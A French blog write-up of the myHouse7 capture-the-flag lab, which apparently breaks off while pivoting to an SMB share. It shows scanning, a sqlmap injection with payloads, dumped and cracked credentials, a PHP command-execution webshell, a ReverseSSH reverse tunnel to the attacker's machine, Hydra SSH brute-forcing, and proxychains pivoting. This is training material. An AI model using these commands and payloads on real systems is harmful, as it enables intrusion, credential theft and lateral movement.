Madness
myHouse7 est un CTF créé par thepcn3rd que je voulais faire depuis un moment. En effet ce dernier exploite pleinement Docker avec 7 containers qui permettent de simuler des réseaux sur lequels nous allons nous introduire au fûr et à mesure.
Malheureusement le CTF est cassé et ne fonctionne pas correctement que ce soit sur VirtualBox ou VMWare. Il me fallait juste le temps et le courage de me pencher sur la raison de ce dysfonctionnement.
Fix it, Boot it, Hack it
Les raisons de cet échec sont au nombre de deux ou trois. Sous VirtualBox la VM ne parvient pas à obtenir l’adresse IP, ce qui arrive parfois sur de vieux CTFs. Je me souviens par exemple avoir dû supprimer un fichier lié à l’interface réseau sur l’un.
Le second problème est directement lié puisque au démarrage de la VM celle-ci tente d’installer Docker via le répo de la distribution Linux. C’est d’autant plus regretable qu’à côté de ça l’auteur du CTF a pris soin de faire un export des containers Docker pour les charger localement (il aurait pu insister et mettre tout ça sur le Hub Docker).
Et enfin le script chargé d’orchestrer tout ça agit selon différentes étapes en vérifiant que l’étape précédente a bien réussie via la présence de fichiers générés sur le disque… sauf que le script ne prend pas en charge les erreurs et génère les fichiers en question quoiqu’il en soit.
Comme si ça ne suffisait pas, après l’installation de Docker qui a échouée et par conséquent le chargement des images Docker aussi, le script fait le ménage en les supprimant, rendant alors impossible la réparation de la VM après le premier boot.
La procédure à suivre est donc la suivante :
- Importer la VM dans VirtualBox
- Configurez là en mode Accès par pont (Bridge). Pas le mieux en terme de sécurité mais elle a besoin d’Internet pour récupérer Docker
- La démarrer en laissant la touche Shift enfoncée pour atteindre le menu du boot manager (si l’étape échoue vous êtes bon pour supprimer et réimporter à nouveau)
- Sélectionner le mode Recovery puis sélectionner l’entrée pour avoir un shell
- Changer le mot de passe pour root (choisissez un mot de passe compatible qwerty, ce sera plus simple pour vous connecter ensuite)
- Editer le script /etc/rc.local pour commenter (ou supprimer) l’appel au script /home/bob/setup/buildDockerNet.sh
- Redémarrer la VM
A ce stade la VM est démarrée, les fichiers nécessaires sont toujours présents et vous disposez d’un accès root possible via la console.
- Connectez vous
- Récupérez le nom de l’interface réseau via ifconfig. Si vous ne voyez que l’interface loopback (lo), regardez dans l’output de la commande dmesg, ça peut être eth0 ou ça peut correspondre au nom de votre interface normale (en dehors de la VM)
- Définissez une adresse IP pour la VM avec la commande *ifconfig
inet <adresse\_ip> netmask <netmask\_correspondant>* - Définissez le routeur à utiliser via *route add default gw <adresse_ip_routeur>
* - Créez le fichier /etc/resolv.conf et mettez la ligne nameserver 8.8.8.8 à l’intérieur
- Vérifiez que la connexion Internet est fonctionnelle (ping -c 1 perdu.com)
Normalement arrivé ici tout est prêt. Editez tout de même le script /home/bob/setup/buildDockerNet.sh pour commenter les étapes qui suppriment des fichiers, juste au cas où.
Exécuter le script, vous devriez voir Docker s’installer, les images être chargées et les containers se lancer. Victoire ! Profitez-en pour créer un instantané de la VM, vous n’avez pas envie de recommencer si un problème apparait.
Our house, in the middle of our street
HTTP ? Oui.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
$ sudo nmap -T5 -p- -sCV 192.168.1.50
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-29 12:07 CET
Nmap scan report for 192.168.1.50
Host is up (0.00027s latency).
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6f:a7:72:5b:0d:81:8e:a5:40:6a:75:62:0c:f4:73:1a (RSA)
| 256 fb:61:87:c4:1f:18:da:dc:96:2b:65:08:ac:19:0a:fe (ECDSA)
|_ 256 92:4a:17:6c:4d:68:5e:6a:1b:89:94:17:e9:81:33:3a (ED25519)
25/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_smtp-commands: Couldn't establish connection on port 25
443/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8008/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.29 (Ubuntu)
8111/tcp open skynetflow?
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Server: {{tryharder:114}}
| Vary: Accept-Encoding
| Content-Length: 218
| Connection: close
| Content-Type: text/html; charset=UTF-8
| <html>
| <body bgcolor=gray>
| <center>
| /><br /><br />
| HELLO<br /><br />
| STRANGE GAME.<br />
| ONLY WINNING MOVE IS<br />
| PLAY.<br /><br />
| ABOUT A NICE GAME OF CHESS?<br /><br />
| </body>
| </html>
| Help:
| HTTP/1.1 400 Bad Request
| Server: {{tryharder:114}}
| Content-Length: 300
| Connection: close
| Content-Type: text/html; charset=iso-8859-1
| <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
| <html><head>
| <title>400 Bad Request</title>
| </head><body>
| <h1>Bad Request</h1>
| <p>Your browser sent a request that this server could not understand.<br />
| </p>
| <hr>
| <address>{{tryharder:114}} Server at 172.31.200.85 Port 80</address>
| </body></html>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Server: {{tryharder:114}}
| Content-Length: 300
| Connection: close
| Content-Type: text/html; charset=iso-8859-1
| <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
| <html><head>
| <title>400 Bad Request</title>
| </head><body>
| <h1>Bad Request</h1>
| <p>Your browser sent a request that this server could not understand.<br />
| </p>
| <hr>
| <address>{{tryharder:114}} Server at 172.31.200.85 Port 80</address>
|_ </body></html>
8112/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
8115/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: Anchor CMS
|_http-title: My posts and thoughts - IT222 Blog
10000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
20000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
L’objectif du CTF est de récolter 20 flags, chacun sous la forme {{tryharder:XXX}} où XXX représente un chiffre. On voit via Nmap que l’on en a déjà récupéré un :)
Mais soyons bien organisés et agissons dans l’ordre avec le port 25. La page indique Welcome to the Database Management System et on trouve un flag dans le code source :
1
<input type="hidden" value="{{tryharder:999}}" />
Le serveur ne répond pas via un code 404 pour les pages manquantes mais via un code HTTP 200 sans contenu. Heureusement feroxbuster a une option pour exclure selon la taille de la réponse.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ feroxbuster -u http://192.168.1.50:25/ -w DirBuster-0.12/directory-list-2.3-big.txt -S 0 -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.1.50:25/
🚀 Threads │ 50
📖 Wordlist │ DirBuster-0.12/directory-list-2.3-big.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
💢 Size Filter │ 0
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 1l 9w 59c http://192.168.1.50:25/f
200 1l 1w 18c http://192.168.1.50:25/flag
403 11l 32w 300c http://192.168.1.50:25/server-status
La première page retourne {{tryharder:217}} - There is one more in this directory… et la seconde {{tryharder:714}}.
Les ports 443, 8008, 8112 et 10000 semblent être en tout points identiques au port 25.
Our house, was our castle and our keep
Le port 8111 répond avec une référence à l’excellent film Wargames :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ curl -D- http://192.168.1.50:8111/
HTTP/1.1 200 OK
Server: {{tryharder:114}}
Vary: Accept-Encoding
Content-Length: 218
Content-Type: text/html; charset=UTF-8
<html>
<body bgcolor=gray>
<center>
<br /><br /><br />
HELLO<br /><br />
A STRANGE GAME.<br />
THE ONLY WINNING MOVE IS<br />
NOT TO PLAY.<br /><br />
HOW ABOUT A NICE GAME OF CHESS?<br /><br />
<br />
</body>
</html>
On retrouve donc le flag vu précédemment avec Nmap. La bannière du serveur a été modifiée pour contenir le flag, ce dernier apparait donc dans les entêtes HTTP mais aussi dans la signature des pages sur les erreurs 404.
Ce port est en réalité celui sur lequel j’ai récupéré mes derniers flags car il m’a fallut utiliser des wordlists moins fréquentes pour retrouver les fichiers cachés.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ feroxbuster -u http://192.168.1.50:8111/ -w wordlists/files/Directories_All.wordlist -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.1.50:8111/
🚀 Threads │ 50
📖 Wordlist │ wordlists/files/Directories_All.wordlist
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
💲 Extensions │ [php]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 11l 31w 293c http://192.168.1.50:8111/.htpasswd
403 11l 31w 297c http://192.168.1.50:8111/.htpasswd.php
200 12l 39w 218c http://192.168.1.50:8111/index.php
200 1l 1w 11c http://192.168.1.50:8111/c.php
200 5l 18w 173c http://192.168.1.50:8111/b.php
403 11l 31w 293c http://192.168.1.50:8111/.htaccess
403 11l 31w 297c http://192.168.1.50:8111/.htaccess.php
403 11l 31w 294c http://192.168.1.50:8111/.htpasswds
403 11l 31w 298c http://192.168.1.50:8111/.htpasswds.php
Le script b.php contient un formulaire avec un champ caché baptisé command qui par défaut va lister le contenu de /etc/backup/. La cible de ce script est le fichier c.php. On est là dans un cas très simple d’exécution de commande distante (RCE).
1
2
$ curl -XPOST http://192.168.1.50:8111/c.php --data "command=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
Je n’irais pas plus loin dans cette vulnérabilité car comme dit précédemment je l’ai découverte en dernier et tout le reste était déjà terminé mais dans le même dossier que les scripts se trouvait un fichier 5ac4b37ac5bf324—flag—5ac4b37ac5bf324 contenant le flag {{tryharder:511}} et dans le dossier /etc/backup/ se trouvait un fichier flag.txt avec le contenu {{tryharder:1}}.
Comme vous le verrez par la suite le CTF n’avait pas de cas particuliers d’exploitation (via l’utilisation d’un exploit existant pour une application trouée) et se concentrait sur la nécessité de pivoter avec du password spraying.
Our house, that was where we used to sleep
Avant d’entrer dans le vif du sujet, petit tour sur le port 20000 qui donne un healthcheck des différents containers sur la machine.
La page fournit aussi le flag {{tryharder:1}} de manière visible et via le code source un second caché :
1
<input type=hidden value="{{tryharder:007}}" />
Le port 8115 correspond à une installation de Anchor CMS, ce que l’on devine rapidement via la balise méta generator du site.
Pour ce qui est du contenu on a plus affaire à un blog et on peut en extraire les différentes informations :
- We would like to welcome Heather to our fast growing team.
- Thank you Larry Jr. for joining the team!!
- Please make sure that as an hourly employee you record your time in the /timeclock/ software. This helps us record the volunteer hours that are put into the creation of our product.
- I noticed that the database is running as the “root” user. I found this out by running “! whoami”. I could be wrong, can you double-check!
- I made significant changes to the code of the timeclock software. Due to the changes I made, I stored a backup in /timeclock/backup/.
On s’empresse donc de noter les différents utilisateurs (larry, heather) dans un fichier texte pour la suite.
Concernant la base de données tournant en tant que root cette histoire de point d’exclamation ne parraissait un peu gros (si on pouvait exécuter du code sur un serveur MySQL aussi facilement je pense que j’en aurais eu vent). En fait le client MySQL permet bien de faire exécuter des commandes via son invite mais localement, pas sur le serveur :p
À l’adresse /timeclock/ mentionnée on trouve une mire de login avec une référence Employee Timeclock Software 0.99 qui semble indiquer qu’on a ici une vrai application web (pas du code maison).
Enfin dans le sous-dossier backup se trouve un flag ({{tryharder:107}}) ainsi qu’une archive all.zip dont le contenu semble raccord à l’application web.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Archive: all.zip
Length Date Time Name
--------- ---------- ----- ----
2620 2018-10-24 01:33 add_entry.php
2002 2018-10-24 01:34 add_period.php
1174 2018-10-24 01:34 add_type.php
2332 2018-10-24 01:35 add_user.php
1633 2018-10-24 01:32 auth.php
0 2018-10-24 01:41 backup/
2125 2018-10-24 01:35 change_password.php
427 2018-10-24 01:25 db.php
276 2018-10-24 01:11 dbtest.php
1196 2018-10-24 01:36 delete_entry.php
1509 2018-10-24 01:22 delete_period.php
1362 2018-10-24 01:36 delete_type.php
1348 2018-10-24 01:37 delete_user.php
3677 2018-10-24 01:38 edit_entry.php
2615 2018-10-24 01:39 edit_period.php
1453 2018-10-24 01:40 edit_type.php
2775 2018-10-24 01:40 edit_user.php
1780 2018-10-24 01:23 index.php
1069 2018-10-24 01:25 login.php
17208 2006-05-03 00:07 readme.htm
1999 2018-10-24 01:24 time_entry.php
1953 2018-10-24 01:24 time_periods.php
1557 2018-10-24 01:24 time_types.php
735 2006-05-02 21:27 timeapp.css
2277 2006-05-03 00:04 timeclock.sql
1823 2018-10-24 01:24 users.php
1787 2018-10-24 01:24 view_data.php
3126 2018-10-24 01:25 view_entry.php
--------- -------
63838 28 files
A regarder le code de chacun de ces scripts, ceux-ci sont bourrés de vulnérabilités, c’est le DADV de la faille SQL.
La configuratin de la base de données se situe dans le script db.php.
1
$db = mysqli_connect("172.31.20.10", "root", "anchordb", "timeclock");
Il n’y a pas de manquement à l’authentification (on est correctement redirigés vers la page de login si non connecté) mais la page de login fait partie des scripts faillibles.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ python sqlmap.py -u "http://192.168.1.50:8115/timeclock/index.php" --data "username=admin&password=ee&submit=Log+In" --dbms mysql --level 5 --risk 3
sqlmap identified the following injection point(s) with a total of 813 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: username=admin%' AND 2271=(SELECT (CASE WHEN (2271=2271) THEN 2271 ELSE (SELECT 8293 UNION SELECT 8771) END))-- -&password=ee&submit=Log In
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin%' AND (SELECT 9416 FROM (SELECT(SLEEP(5)))ASLP) AND 'WVuj%'='WVuj&password=ee&submit=Log In
---
[15:12:27] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
Je paste ici les dumps les plus intéressants :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
available databases [6]:
[*] anchor
[*] flag
[*] information_schema
[*] mysql
[*] performance_schema
[*] timeclock
Database: flag
Table: flag
[1 entry]
+-------------------+
| flag |
+-------------------+
| {{tryharder:766}} |
+-------------------+
Database: timeclock
Table: user_info
[5 entries]
+---------+---------+---------+---------------+----------+----------+
| user_id | lname | fname | level | username | password |
+---------+---------+---------+---------------+----------+----------+
| 1 | Admin | Admin | Administrator | admin | admin |
| 5 | yool | heather | Administrator | heather | heather |
| 4 | tin | larryjr | Administrator | larryjr | larryjr |
| 6 | <blank> | user1 | User | user1 | user1 |
| 7 | user2 | user2 | User | user2 | user2 |
+---------+---------+---------+---------------+----------+----------+
Database: anchor
Table: anchor_users
[4 entries]
+----+-------------------+---------------+---------------------+--------+---------------------+----------+--------------------------------------------------------------+---------------+
| id | bio | role | email | status | updated | username | password | real_name |
+----+-------------------+---------------+---------------------+--------+---------------------+----------+--------------------------------------------------------------+---------------+
| 1 | The bouse | administrator | myemail@local.local | active | 2018-10-22 04:20:20 | admin | $2y$12$XyIp48YfHyfF8m6UfeN2nO3kLk.PgnL6Lz/pQolT4rDzsyYHGsSdC | Administrator |
| 2 | <blank> | administrator | jim@test.local | active | 2018-10-23 03:59:30 | jim | $2y$12$MaNoQI.ro2vd3Eplh0m.u.Fs/POoCoADcRFCExYhFvX9nSPk6F7Vi | jim |
| 3 | <blank> | administrator | heather@local.local | active | 2018-10-23 04:10:46 | heather | $2y$12$RXw2Ye66qe5FtirI/95mFeQMQt2L7jezw9evcA8DEg0QOp3YZE2xq | heather |
| 4 | {{tryharder:913}} | administrator | larryjr@local.local | active | 2018-10-23 04:19:37 | larryjr | $2y$12$2jeSR68yBEVqJ88kA16HJ.qgjMy963lXyUY.7AAfKRSCGD1zgK62i | larryjr |
+----+-------------------+---------------+---------------------+--------+---------------------+----------+--------------------------------------------------------------+---------------+
Un flag de plus ! Pour le reste les hashs se cassent rapidement :
1
2
3
4
$2y$12$MaNoQI.ro2vd3Eplh0m.u.Fs/POoCoADcRFCExYhFvX9nSPk6F7Vi:password
$2y$12$RXw2Ye66qe5FtirI/95mFeQMQt2L7jezw9evcA8DEg0QOp3YZE2xq:heather
$2y$12$XyIp48YfHyfF8m6UfeN2nO3kLk.PgnL6Lz/pQolT4rDzsyYHGsSdC:anchor
$2y$12$2jeSR68yBEVqJ88kA16HJ.qgjMy963lXyUY.7AAfKRSCGD1zgK62i:larryjr
Avec l’option –privileges de SQLmap je peux dumper la liste des droits dont je dispose sur le serveur MySQL et ils sont nombreux puisque l’utilisateur root de la DB est utillisé. Je peux ainsi si je le souhaite lire /etc/passwd avec –file-read de SQLmap.
En revanche impossible de charger /etc/shadow donc effectivement cette histoire de base de données tournant en root était fausse.
Father wears his Sunday best
Le dernier fichier présent dans /timeclock/backup/ est un script nommé browse_backups.php et là encore il permet l’exécution de commande.
Il est tout simple :
1
2
3
4
5
6
7
8
9
10
11
<pre><?php
if(isset($_GET['cmd'])){
echo "<pre>";
$cmd = ($_GET['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
Sur le serveur je peux rappatrier un ReverseSSH pour établir un tunnel avec ma machine :
1
$ ./reverse-sshx64 -v -p 4444 192.168.1.47
Sur ma machine j’étais à l’écoute :
1
$ ./reverse-sshx64 -v -l -p 4444
Une fois le tunnel établit il suffit d’utiliser le port SSH local 8888 comme si il s’agissait du serveur SSH de notre victime.
1
$ ssh -p 8888 127.0.0.1
Le mot de passe attendu (hardcodé dans ReverseSSH) est letmeinbrudipls et le nom d’utilisateur n’a pas d’importance.
Un nouveau flag s’offre à moi dans le fichier /var/www/html/anchor/config/db.php.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
# {{tryharder:737}}
return [
'default' => 'mysql',
'prefix' => 'anchor_',
'connections' => [
'mysql' => [
'driver' => 'mysql',
'hostname' => '172.31.20.10',
'port' => '3306',
'username' => 'root',
'password' => 'anchordb',
'database' => 'anchor',
'charset' => 'utf8mb4'
]
]
];
Le container sur lequel on a atteri a deux interfaces :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.10.17 netmask 255.255.255.0 broadcast 172.31.10.255
ether 02:42:ac:1f:0a:11 txqueuelen 0 (Ethernet)
RX packets 251484 bytes 55303764 (55.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 329546 bytes 56740553 (56.7 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.20.27 netmask 255.255.255.0 broadcast 172.31.20.255
ether 02:42:ac:1f:14:1b txqueuelen 0 (Ethernet)
RX packets 319622 bytes 40501808 (40.5 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 380399 bytes 45040314 (45.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
J’uploade un Nmap compilé statiquement sur le serveur (sftp -P 8888 127.0.0.1 grace au tunnel)
et je scanne les deux réseaux à la recherche d’hôtes valides.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
./nmap -T5 -sP 172.31.10.27/24
Starting Nmap 7.11 ( https://nmap.org )
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.31.10.1
Host is up (0.00091s latency).
Nmap scan report for e26631a2bf39 (172.31.10.17)
Host is up (0.00056s latency).
Nmap scan report for blue.net10 (172.31.10.22)
Host is up (0.0025s latency).
Nmap scan report for red.net10 (172.31.10.25)
Host is up (0.0012s latency).
Nmap scan report for africa.net10 (172.31.10.194)
Host is up (0.00031s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.93 seconds
./nmap -T5 -sP 172.31.20.27/24
Starting Nmap 7.11 ( https://nmap.org )
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.31.20.1
Host is up (0.0013s latency).
Nmap scan report for db1srv.net20 (172.31.20.10)
Host is up (0.00016s latency).
Nmap scan report for e26631a2bf39 (172.31.20.27)
Host is up (0.00020s latency).
Nmap scan report for utah.net20 (172.31.20.44)
Host is up (0.00048s latency).
Nmap scan report for africa.net20 (172.31.20.194)
Host is up (0.00090s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.74 seconds
J’enchaine sur un scan des ports des IPs qui ont répondu. Voici pour le premier réseau :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
map scan report for 172.31.10.1
Host is up (0.00053s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
443/tcp open https
8008/tcp open unknown
8111/tcp open unknown
8112/tcp open unknown
8115/tcp open unknown
10000/tcp open webmin
20000/tcp open unknown
Nmap scan report for blue.net10 (172.31.10.22)
Host is up (0.0013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for red.net10 (172.31.10.25)
Host is up (0.0013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
80/tcp open http
Nmap scan report for africa.net10 (172.31.10.194)
Host is up (0.00048s latency).
All 65535 scanned ports on africa.net10 (172.31.10.194) are closed
172.31.10.1 correspond à l’hôte mis à part que le port SSH est accessible.
Et sur le second réseau :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Nmap scan report for 172.31.20.1
Host is up (0.00053s latency).
Not shown: 65526 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp open smtp
443/tcp open https
8008/tcp open unknown
8111/tcp open unknown
8112/tcp open unknown
8115/tcp open unknown
10000/tcp open webmin
20000/tcp open unknown
Nmap scan report for db1srv.net20 (172.31.20.10)
Host is up (0.0013s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
3306/tcp open mysql
Nmap scan report for utah.net20 (172.31.20.44)
Host is up (0.0013s latency).
All 65535 scanned ports on utah.net20 (172.31.20.44) are closed
Nmap scan report for africa.net20 (172.31.20.194)
Host is up (0.00048s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
24/tcp open unknown
Une connexion à ce port 24 à l’aide de Netcat révèle qu’il s’agit d’un serveur SSH. On va utiliser un premier pivot pour y accéder :
1
$ ssh -N -L 2424:172.31.20.194:24 -p 8888 127.0.0.1
Ici j’utilise le tunnel SSH existant avec la première machine pour forwarder en local un port sur la seconde machine.
J’ai rajouté les identifiants de base de données et autres dumps SQL à ma liste d’utilisateurs et passwords potentiels. Je passe le tout à Hydra :
1
2
3
4
5
6
7
8
9
$ ./hydra -e nsr -L /tmp/users.txt -P /tmp/pass.txt ssh://127.0.0.1:2424/
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 153 login tries (l:9/p:17), ~10 tries per task
[DATA] attacking ssh://127.0.0.1:2424/
[2424][ssh] host: 127.0.0.1 login: root password: anchor
1 of 1 target successfully completed, 1 valid password found
Pwned ! Dans /root on trouve le flag {{tryharder:391}} et un autre dans la crontab générale :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@cfbd57786836:~# cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
5/* * * * * root logger "{{tryharder:301}}" &> /dev/null
Cette machine a accès à un réseau supplémentaire :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.10.194 netmask 255.255.255.0 broadcast 172.31.10.255
ether 02:42:ac:1f:0a:c2 txqueuelen 0 (Ethernet)
RX packets 8049789 bytes 1573186897 (1.5 GB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 65649 bytes 3543714 (3.5 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.20.194 netmask 255.255.255.0 broadcast 172.31.20.255
ether 02:42:ac:1f:14:c2 txqueuelen 0 (Ethernet)
RX packets 365982 bytes 67129189 (67.1 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 67442 bytes 3892074 (3.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
eth2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.200.194 netmask 255.255.255.0 broadcast 172.31.200.255
ether 02:42:ac:1f:c8:c2 txqueuelen 0 (Ethernet)
RX packets 19 bytes 1426 (1.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Et Nmap est préinstallé ! Charmante attention :)
The kids are playing up downstairs
Ce qui ressort du scan de ce nouveau réseau c’est surtout un serveur SMB :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Nmap scan report for two.net200 (172.31.200.204)
Host is up (0.000063s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 02:42:AC:1F:C8:CC (Unknown)
Service Info: Host: F34A6019FB92
Host script results:
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: f34a6019fb92
| NetBIOS computer name: F34A6019FB92\x00
| Domain name: \x00
|_ FQDN: f34a6019fb92
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
C’est là où ça devient un poil plus tricky. Grâce à notre accès SSH sur la seconde machine (forwardé sur le port 2424 local) on va créer un serveur proxy SOCKS via SSH qui permettra d’atteindre les machines de ce réseau (et surtout le serveur Samba).
1
$ ssh -D 1080 -N -p 2424 root@127.0.0.1
Il faut après éditer le fichier de configuration de proxychains pour y mettre la ligne suivante :
1
socks5 127.0.0.1 1080
Proxychains permet de chainer plusieurs proxies, il suffit de les mettre les un après les autres (dans l’ordre, ligne après ligne).
Avec smbclient
je peux établir une connexion invité et lister les partages :
1
2
3
4
5
6
7
8
9
10
11
12
$ ./proxychains4 -f proxychains.conf smbclient -U "" -N -L //172.31.200.204
[proxychains] config file found: proxychains.conf
[proxychains] preloading ./libproxychains4.so
[proxychains] DLL init: proxychains-ng 4.15-git-1-g7de7dd0
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.31.200.204:445 ... OK
Sharename Type Comment
--------- ---- -------
users Disk Users Drive - Samba on Ubuntu
companyInfo Disk Company Info - Samba on Ubuntu
IPC$ IPC IPC Service (f34a6019fb92 server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Sans l’utilisation de l’option -q de Proxychains on peut voir le cheminement des paquets :)
